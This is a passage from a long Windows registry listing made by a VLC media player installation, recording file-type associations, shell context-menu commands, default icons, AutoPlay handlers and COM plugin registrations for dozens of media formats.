"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.xa\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.wma\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.669\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mp2v\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.au\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.m2v\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.caf\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayCDAudioOnArrival]
"InvokeVerb" = "Open"

[HKCR\Wow6432Node\Interface\{FD37FE32-82BC-4A25-B056-315F4DBB194D}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.nuv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.amr\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.ac3\shell]
"(Default)" = "Open"

[HKCR\VLC.CDAudio\shell]
"(Default)" = "Open"

[HKCR\VLC.wma\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ape\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.ogx\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.divx\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Interface\{C2FA41D0-B113-476E-AC8C-9BD14999C1C1}\TypeLib]
"Version" = "1.0"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".XSPF" = "VLC.xspf"

[HKCR\VLC.ape]
"(Default)" = "VLC media file (.ape)"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".RMI" = "VLC.rmi"

[HKCR\VLC.a52]
"(Default)" = "VLC media file (.a52)"

[HKCR\VLC.vqf\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m2v\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".CDA" = "VLC.cda"

[HKCR\VLC.dv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.flac\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.rm\shell]
"(Default)" = "Open"

[HKCR\VLC.mpeg4\shell]
"(Default)" = "Open"

[HKCR\VLC.3gpp\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ape\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.aac\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.tod\shell]
"(Default)" = "Open"

[HKCR\VLC.wav\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.amr\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".3gp" = "VLC.3gp"

[HKCR\VLC.mp2\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.3ga\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".tts" = ""

[HKCR\VLC.669\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.amv\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".adts" = "VLC.adts"

[HKCR\VLC.oga\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.spx\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.it\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".TTA" = ""

[HKCR\VLC.mpg\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.3gpp\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.bin\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mka\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".3g2" = "VLC.3g2"

[HKCR\VLC.3gp\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}\VersionIndependentProgID]
"(Default)" = "VideoLAN.VLCPlugin"

[HKCR\VLC.m4p\shell]
"(Default)" = "Open"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}\MiscStatus\1]
"(Default)" = "131473"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".3ga" = "VLC.3ga"

[HKCR\VLC.it\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Wow6432Node\Interface\{9E0BD17B-2D3C-4656-B94D-03084F3FD9D4}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.cda\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.flv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m4a\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mpeg4]
"(Default)" = "VLC media file (.mpeg4)"

[HKCR\VLC.mpeg1\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.amr\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.cue\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.aifc\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@videolan.org/vlc,version=2.0.2]
"Product" = "VLC media player"

[HKCR\VLC.ogx\shell\Open]
"(Default)" = "Play"

[HKCR\.adts]
"(Default)" = "VLC.adts"

[HKCR\VLC.mxf\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mlp\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VideoLAN.VLCPlugin]
"(Default)" = "VLC ActiveX Plugin and IE Web Plugin v2"

[HKCR\VLC.xa\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.gxf\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.aob\shell]
"(Default)" = "Open"

[HKCR\VLC.mxf\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VideoLAN.VLCPlugin.2]
"(Default)" = "VLC ActiveX Plugin and IE Web Plugin v2"

[HKCR\Applications\vlc.exe\SupportedTypes]
".3gp2" = ""

[HKCR\VLC.rec\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.dts\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.m2ts\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mpa\shell]
"(Default)" = "Open"

[HKCR\VLC.mts\shell]
"(Default)" = "Open"

[HKCR\.bin]
"(Default)" = "VLC.bin"

[HKCR\VLC.m2v\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.tts\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mp3\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVCDMovieOnArrival]
"InvokeVerb" = "Open"

[HKCR\VLC.bin\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.ts\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.rm\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".3gpp" = ""

[HKCR\VLC.amv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m2v\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.aac\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.3gp\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.dts\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mpa\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.oma\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.vob\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m3u\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.vlc\shell]
"(Default)" = "Open"

[HKCR\VLC.s3m\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.spx\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ape\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mpv2" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities]
"ApplicationName" = "VLC media player"

[HKCR\VLC.nuv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mts" = "VLC.mts"
".mtv" = "VLC.mtv"

[HKCR\Applications\vlc.exe\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".aif" = ""

[HKCR\VLC.669\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.a52]
"(Default)" = "VLC.a52"

[HKCR\VLC.mod\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ts]
"(Default)" = "VLC media file (.ts)"

[HKCR\VLC.amr]
"(Default)" = "VLC media file (.amr)"

[HKCR\VLC.aiff\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mp3\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.flv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mp2\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".CUE" = "VLC.cue"

[HKCR\VLC.m1v\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mp3\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.tod]
"(Default)" = "VLC.tod"

[HKCR\Wow6432Node\Interface\{49E0DBD1-9440-466C-9C97-95C67190C603}]
"(Default)" = "IVLCInput"

[HKCR\VLC.3g2\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mpe\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.xm\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Clients\Media\VLC\InstallInfo]
"ReinstallCommand" = "%Program Files% (x86)\VideoLAN\VLC\spad-setup.exe /Reinstall /S"

[HKCR\Applications\vlc.exe\SupportedTypes]
".divx" = ""
".w64" = ""

[HKCR\TypeLib\{DF2BBE39-40A8-433B-A279-073F48DA94B6}\1.0\0\win32]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\axvlc.dll"

[HKCR\VLC.mid\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.mpa]
"(Default)" = "VLC.mpa"

[HKCR\VLC.wv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.f4v\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ogm\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.webm\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.qcp\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.ogm\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.s3m\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.flac\shell]
"(Default)" = "Open"

[HKCR\VLC.aiff\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.a52\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.rec\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.rec\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayMusicFilesOnArrival]
"DefaultIcon" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mp4\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.flac\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.ogm\shell]
"(Default)" = "Open"

[HKCR\VLC.pls\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.669\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.3gp2\shell]
"(Default)" = "Open"

[HKCR\VLC.aiff\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.m2ts]
"(Default)" = "VLC media file (.m2ts)"

[HKCR\VLC.mts]
"(Default)" = "VLC media file (.mts)"

[HKCR\VLC.amr\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mpeg2\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\Wow6432Node\Interface\{54613049-40BF-4035-9E70-0A9312C0188D}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.rmvb]
"(Default)" = "VLC media file (.rmvb)"

[HKCR\Applications\vlc.exe\SupportedTypes]
".wmv" = ""

[HKCR\VLC.rec\shell]
"(Default)" = "Open"

[HKCR\Applications\vlc.exe\SupportedTypes]
".rec" = ""

[HKCR\VLC.voc\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ram\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mp1]
"(Default)" = "VLC media file (.mp1)"

[HKCR\.w64]
"(Default)" = "VLC.w64"

[HKCR\.mlp]
"(Default)" = "VLC.mlp"

[HKCR\VLC.wmv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.wma]
"(Default)" = "VLC media file (.wma)"

[HKCR\Applications\vlc.exe]
"(Default)" = ""

[HKCR\VLC.dts\shell]
"(Default)" = "Open"

[HKCR\VLC.m4a]
"(Default)" = "VLC media file (.m4a)"

[HKCR\VLC.3gp2\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Interface\{0AAEDF0B-D333-4B27-A0C6-BBF31413A42E}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.spx\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.ogg\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.drc\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.vro\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlaySVCDMovieOnArrival]
"DefaultIcon" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.rm\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\.nuv]
"(Default)" = "VLC.nuv"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".drc" = "VLC.drc"

[HKCR\VLC.OPENFolder\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ram\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.vro\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.m4a\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.rm\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mpeg2]
"(Default)" = "VLC media file (.mpeg2)"

[HKCR\VLC.rec]
"(Default)" = "VLC media file (.rec)"

[HKCR\VLC.qcp\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ogv]
"(Default)" = "VLC media file (.ogv)"

[HKCR\VLC.mtv\shell]
"(Default)" = "Open"

[HKCR\VLC.mp3\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.aif\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.cda\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.it\shell\Open]
"(Default)" = "Play"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}\InprocServer32]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\axvlc.dll"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".avi" = "VLC.avi"

[HKCR\VLC.asx\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.adt]
"(Default)" = "VLC media file (.adt)"

[HKCR\Interface\{DF48072F-5EF8-434E-9B40-E2F3AE759B5F}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\VLC.mts\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mod\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".f4v" = "VLC.f4v"

[HKCR\Applications\vlc.exe\SupportedTypes]
".M4A" = ""

[HKCR\VLC.m2ts\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\EventHandlers\PlaySuperVideoCDMovieOnArrival]
"VLCPlaySVCDMovieOnArrival" = ""

[HKCR\VLC.wav\shell]
"(Default)" = "Open"

[HKCR\VLC.669\shell]
"(Default)" = "Open"

[HKCR\.mod]
"(Default)" = "VLC.mod"

[HKCR\Interface\{0AAEDF0B-D333-4B27-A0C6-BBF31413A42E}]
"(Default)" = "IVLCVideo"

[HKCR\Applications\vlc.exe\SupportedTypes]
".m4p" = ""

[HKCR\VLC.nsv]
"(Default)" = "VLC media file (.nsv)"

[HKCR\Applications\vlc.exe\SupportedTypes]
".m4v" = ""

[HKCR\VLC.sdp\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.spx]
"(Default)" = "VLC.spx"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".APE" = "VLC.ape"

[HKCR\Interface\{8A4A20C2-93F3-44E8-8644-BEB2E3487E84}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.3gp2\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVCDMovieOnArrival]
"Action" = "Play VCD movie"

[HKCR\VLC.ogv\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.vro\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m3u\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mpc]
"(Default)" = "VLC media file (.mpc)"

[HKCR\VLC.ram\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mxf\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.3ga\shell]
"(Default)" = "Open"

[HKCR\VLC.mtv]
"(Default)" = "VLC media file (.mtv)"

[HKCR\VLC.wma\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.aob\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m1v\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".WAV" = ""

[HKCR\VLC.3g2\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.amv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Interface\{2D719729-5333-406C-BF12-8DE787FD65E3}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".voc" = "VLC.voc"
".ogv" = "VLC.ogv"

[HKCR\.m4a]
"(Default)" = "VLC.m4a"

[HKCR\VLC.mov\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.vlc\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.wmv]
"(Default)" = "VLC media file (.wmv)"

[HKCR\VLC.bin\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mpv2\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.nuv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayCDAudioOnArrival]
"InvokeProgID" = "VLC.CDAudio"

[HKCR\VLC.rm\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.rmi\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m4a\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.vro\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.vlc]
"(Default)" = "VLC.vlc"

[HKCR\VLC.b4s\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{FD37FE32-82BC-4A25-B056-315F4DBB194D}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.mka\shell\Open]
"(Default)" = "Play"

[HKCR\Wow6432Node\Interface\{BC97469F-CB11-4037-8DCE-5FC9F5F85307}\TypeLib]
"Version" = "1.0"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mp2v" = "VLC.mp2v"

[HKCR\VLC.m4v\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.asx\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.flv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.3ga\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".ram" = "VLC.ram"

[HKCR\VLC.3gp2\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.adts\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.oga\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mp4\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".webm" = "VLC.webm"

[HKCR\VLC.flv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.dv]
"(Default)" = "VLC.dv"

[HKCU\Software\Classes\.webm]
"VLC.backup" = "FirefoxHTML"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".aifc" = "VLC.aifc"
".aiff" = "VLC.aiff"
".IT" = "VLC.it"

[HKCR\VLC.asx\shell]
"(Default)" = "Open"

[HKCR\VLC.aac\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.webm\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.asx\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.mpe]
"(Default)" = "VLC.mpe"

[HKCR\VLC.avi\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.vqf]
"(Default)" = "VLC.vqf"

[HKCR\Applications\vlc.exe\SupportedTypes]
".m2ts" = ""

[HKCR\VLC.oma\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.xm\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.m1v]
"(Default)" = "VLC media file (.m1v)"

[HKCR\VLC.mid\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mp2]
"(Default)" = "VLC media file (.mp2)"

[HKCR\VLC.ts\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mp3\shell\AddToPlaylistVLC\command]
